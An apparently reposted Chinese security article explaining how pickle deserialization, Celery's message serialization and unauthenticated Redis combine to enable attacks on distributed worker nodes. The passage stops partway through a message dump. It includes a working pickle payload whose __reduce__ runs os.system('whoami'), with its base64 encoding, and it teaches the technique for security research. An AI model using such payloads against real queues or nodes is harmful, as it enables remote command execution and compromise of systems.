Quantcast
Channel: CodeSection,代码区,数据库(综合) - CodeSec
Viewing all articles
Browse latest Browse all 6262

漏洞组合拳 攻击分布式节点

$
0
0

分布式系统大都需要依赖于 消息队列中间件 来解决异步处理、应用耦合等问题, 消息队列中间件 的选择又依赖于整体系统的设计和实现,消息的 封装 、 传递 、 处理 贯穿了整个系统,如果在某一个关键处理逻辑点上出现了安全问题,那么整个分布式节点都有可能受到破坏。

流行的开发语言几乎都存在序列化处理不当导致的命令执行问题,如 python 里类的魔术方法 __reduce__() 会在 pickle 库进行反序列化的时候进行调用,php 中类的魔术方法 __wakup() 同样也会在实例进行反序列化的时候调用等等。

从开发者角度看来,开发语言提供的数据序列化方式方便了实例对象进行跨应用传递, 程序A 和 程序B 能够通过序列化数据传递方式来 远程访问实例对象 或者 远程调用方法 (如 Java 中的 RMI);而站在安全研究者角度,这种跨应用的数据传递或者调用方式可能存在对象数据篡改和方法恶意调用的安全隐患。

在消息队列的实现中,消息数据的序列化(封装)方式就成了一颗定时炸弹,不安全的序列化方式可能会导致消息数据被篡改,从而引发反序列化(数据解析)后的一些列安全问题。

消息队列中间件的选择也是一大问题,常见的有 RabbitMQ,ActiveMQ,Kafka,Redis 等,而像Redis这种存在未授权访问问题的组件如果被攻击者所控制,即可通过组件直接向消息队列中插入数据,轻则影响整个分布式节点的逻辑处理,重则直接插入恶意数据结合反序列化等问题对节点群进行攻击。

说了这么多,总结一下上面提到的几个安全问题:

各语言中存在的序列化问题可直接导致远程命令执行; 消息队列的实现常常会直接使用语言自身的序列化(或相似的)方式封装消息; 分布式系统使用的消息队列中间件种类繁多,其中某些分布式框架使用了像 Redis 这种存在着 未授权访问 问题的组件; 消息队列中消息的篡改会直接或间接影响到分布式节点;

将这 4 个安全问题或者说是漏洞结合在一起,即可成为一种可直接入侵和破坏分布式节点的攻击方法。那么,是否存在真正满足上述问题的实例呢?目前,已经发现了 Python 中 Celery 分布式框架确实存在这样的问题,下面我会针对上诉 4 个问题以 Celery 分布式框架为例来说明如何攻击分布式节点打出漏洞组合拳。

一、老生常谈 Python 序列化

Celery 分布式框架是由 Python 语言所编写的,为了下面更好的说明问题,所以这里首先简单的回顾一下 Python 序列化的安全问题。

1. 简单的序列化例子

Python 中有这么一个名为 pickle 的模块用于实例对象的序列化和反序列化,一个简单的例子:

import base64
import pickle
class MyObj(object):
loa = 'hello my object'
t_obj = MyObj()
serialized = base64.b64encode(pickle.dumps(t_obj))
print('--> pickling MyObj instance {} and Base64 it\ngot "{}"'.format(t_obj, serialized))
print('--> unpickling serialized data\nwith "{}"'.format(serialized))
obj = pickle.loads(base64.b64decode(serialized))
print('** unpickled object is {}'.format(obj))
print('{} -> loa = {}'.format(obj, obj.loa))

因 pickle 模块对实例对象进行序列化时产生的是二进制结构数据,传输的时候常常会将其进行 Base64 编码,这样可以有效地防止字节数据丢失。上面的程序作用是将一个 MyObj 类实例进行序列化并进行 Base64 编码然后进行解码反序列化重新得到实例的一个过程,运行程序后得到输出:


漏洞组合拳   攻击分布式节点

通过截图可以看到序列化前和序列化后的实例是不同的(对象地址不同),并且通常反序列化时实例化一个类实例,当前的运行环境首先必须定义了该类型才能正常序列化,否则可能会遇到找不到正确类型无法进行反序列化的情况,例如将上诉过程分文两个文件 serializer.py 和 unserializer.py ,前一个文件用于实例化 MyObj 类并将其序列化然后经 Base64 编码输出,而后一个文件用于接收一串字符串,将其 Base64 解码后进行反序列化:

# serializer.py
import base64
import pickle
class MyObj(object):
loa = 'hello my object'
print(base64.b64encode(pickle.dumps(MyObj()))) # unserializer.py
import sys
import base64
import pickle
print(pickle.loads(base64.b64decode(sys.argv[1])))

就上面所说,在反序列化时如果环境中不存在反序列化类型的定义,因为 unserializer.py 中未定义 MyObj 类,则在对 serializer.py 输出结果进行反序列化时会失败报错,提示找不到 MyObj :


漏洞组合拳   攻击分布式节点
2. Trick 使得反序列化变得危险

看似反序列化并不能实例化任意对象(运行环境依赖),但有那么些 tricks 可以达到进行反序列化即可任意代码执行的效果。

如果一个类定义了 __reduce__() 函数,那么在对其实例进行反序列化的时候, pickle 会通过 __reduce__() 函数去寻找正确的重新类实例化过程。( __reduce__() 函数 详细文档参考 )

例如这里我在 MyObj 类中定义 __reduce__() 函数:

...
class MyObj(object):
loa = 'hello my object'
def __reduce__(self):
return (str, ('replaced by __reduce__() method', ))
...

然后再执行上一节的程序过程,会直接得到输出:


漏洞组合拳   攻击分布式节点

这里不再报错是因为, MyObj 在进行序列化的时候,将重新构建类的过程写进了序列化数据里, pickle 在进行反序列化的时候会遵循重建过程去执行相应操作,这里是使用内置的 str 函数去操作参数 'replaced by __reduce__() method' 并返回,所以成功反序列化并输出的字符串。

有了 __reduce__() 这个函数,就可以利用该特性在反序列化的时候直接执行任意代码了,如下示例代码:

# evil.py
import os
import base64
import pickle
class CMD(object):
def __reduce__(self):
return (os.system, ('whoami', ))
print(base64.b64encode(pickle.dumps(CMD())))

运行得到编码后的序列化数据:

Y3Bvc2l4CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==

这里需要主要的是 os.system('whoami') 这个过程不是在序列化过程执行的,而是将这个过程以结构化的数据存于了序列化数据中,这里可以看一下二进制序列化数据:

demo echo -n "Y3Bvc2l4CnN5c3RlbQpwMAooUyd3aG9hbWknCnAxCnRwMgpScDMKLg==" | base64 -D | xxd
0000000: 6370 6f73 6978 0a73 7973 7465 6d0a 7030 cposix.system.p0
0000010: 0a28 5327 7768 6f61 6d69 270a 7031 0a74 .(S'whoami'.p1.t
0000020: 7032 0a52 7033 0a2e p2.Rp3..
demo

数据都是以 Python pickle 序列化数据结构进行整合的,具体底层协议实现可参考官方文档。

对上面的序列化数据使用 unserializer.py 进行反序列化操作时,会触发类重构操作,从而执行 os.system('whoami') :


漏洞组合拳   攻击分布式节点

历史上框架或者应用由于 Python 反序列化问题导致的任意命令执行并不少见,如 Django 低版本使用了 pickle 作为 Session 数据默认的序列化方式,在设置了使用 Cookie 进行 Session 数据存储的时候,会使得攻击者直接构造恶意 Cookie 值,触发恶意的反序列化进行任意命令执行;又一些程序可接受一串序列化数据作为输入,如 SQLMAP 之前的 --pickled-options 运行参数就可以传入由 pickle 模块序列化后的数据。虽然官方有对 pickle 模块进行安全声明,指明了不要反序列化未受信任的数据来源,但是现实应用逻辑繁杂,常会有这样的数据可控的点出现,也是不太好避免的。

二、分布式框架 Celery

回顾完 Python 序列化的问题,这时候转过来看一下 Celery 这个分布式框架。

1. 使用框架进行简单的任务下发

Celery 借助消息队列中间件进行消息(任务)的传递,一个简单利用 Celery 框架进行任务下发并执行的例子:

# celery_simple.py
from celery import Celery
app = Celery('demo', broker='amqp://192.168.99.100//', backend='amqp://192.168.99.100//')
@app.task
def add(x, y):
return x + y

Celery 推荐使用 RabbitMQ 作为 Broker,这里直接在 192.168.99.100 主机上开启 RabbitMQ 服务,然后在终端使用 celery 命令起一个 worker:

celery worker -A celery_simple.app -l DEBUG

然后另起一个 ipython 导入 celery_simple 模块中的 add() 函数,对其进行调用并获取结果:

In [1]: from celery_simple import add
In [2]: task = add.apply_async((4, 5))
In [3]: task.result
Out[3]: 9
漏洞组合拳   攻击分布式节点
2. 框架中的消息封装方式

本文并不关心框架的具体实现和用法,只关心消息的具体封装方式。在 Celery 框架中有多种可选的消息序列化方式:

pickle json msgpack yaml

可以看到 Celery 框架所使用的消息序列化方式中含有 pickle 的序列化方式,上一部分已经说明了 Python 中 pickle 序列化方式存在的安全隐患,而 Celery 框架却支持这种方式对消息进行封装,并且在 4.0.0 版本以前默认使用的也是 pickle 序列化方式。

为了弄明白 Celery 的消息格式,这里将 Broker 换成 Redis 方便直接查看数据。

# celery_simple.py
from celery import Celery
app = Celery('demo', broker='redis://:@192.168.99.100:6379/0', backend='redis://:@192.168.99.100:6379/0')
@app.task
def add(x, y):
return x + y

这里先不起 worker 进程,直接使用 ipython 进行任务下发:

In [1]: from celery_simple import add
In [2]: task = add.apply_async((4, 9))

这时候查看 Redis 里面的数据:


漏洞组合拳   攻击分布式节点

可以看到 Redis 里面存在两个键, celery 和 _kombu.binding.celery ,这里解释一下具体两个键的具体含义。在 Celery 中消息可以根据路由设置分发到不同的任务上,例如这里 add() 函数由于没有进行特别的设置,所以其所处的消息队列为名为 celery 的队列, exchange 和 routing_key 值都为 celery ,所有满足路由( {"queue":"celery","exchange":"celery","routing_key":"celery"} )的消息都会发到该 worker 上,然后 worker 根据具体的调用请求去寻找注册的函数使用参数进行调用。

而刚刚提到的 Reids 中的键 _kombu.binding.celery 表示存在一个名为 celery 的队列,其 exchange 和 routing_key 的信息保存在该集合里:


漏洞组合拳   攻击分布式节点

而键 celery 里面存储的就是每一个 push 到队列里面的具体消息信息:


漏洞组合拳   攻击分布式节点

可以看到是一个 JSON 格式的数据,为了更方便的进行字段分析,将其提出来格式化显示为:

{
"body": "gAJ9cQAoWAMAAAB1dGNxAYhYAgAAAGlkcQJYJAAAADFkOGZhN2FlLTEyZjYtNDIyOS05ZWI5LTk5ZDViYmI5ZGFiZXEDWAUAAABjaG9yZHEETlgGAAAAa3dhcmdzcQV9cQZYBAAAAHRhc2txB1gRAAAAY2VsZXJ5X3NpbXBsZS5hZGRxCFgIAAAAZXJyYmFja3NxCU5YAwAAAGV0YXEKTlgJAAAAY2FsbGJhY2tzcQtOWAQAAABhcmdzcQxLBEsJhnENWAcAAAB0YXNrc2V0cQ5OWAcAAABleHBpcmVzcQ9OWAkAAAB0aW1lbGltaXRxEE5OhnERWAcAAAByZXRyaWVzcRJLAHUu",
"headers": {},
"content-encoding": "binary",
"content-type": "application/x-python-serialize",
"properties": {
"body_encoding": "base64",
"reply_to": "c8b55284-c490-3927-85c5-c68a7fed0525",
"correlation_id": "1d8fa7ae-12f6-4229-9eb9-99d5bbb9dabe",
"delivery_info": {
"routing_key": "celery",
"exchange":

Viewing all articles
Browse latest Browse all 6262

Trending Articles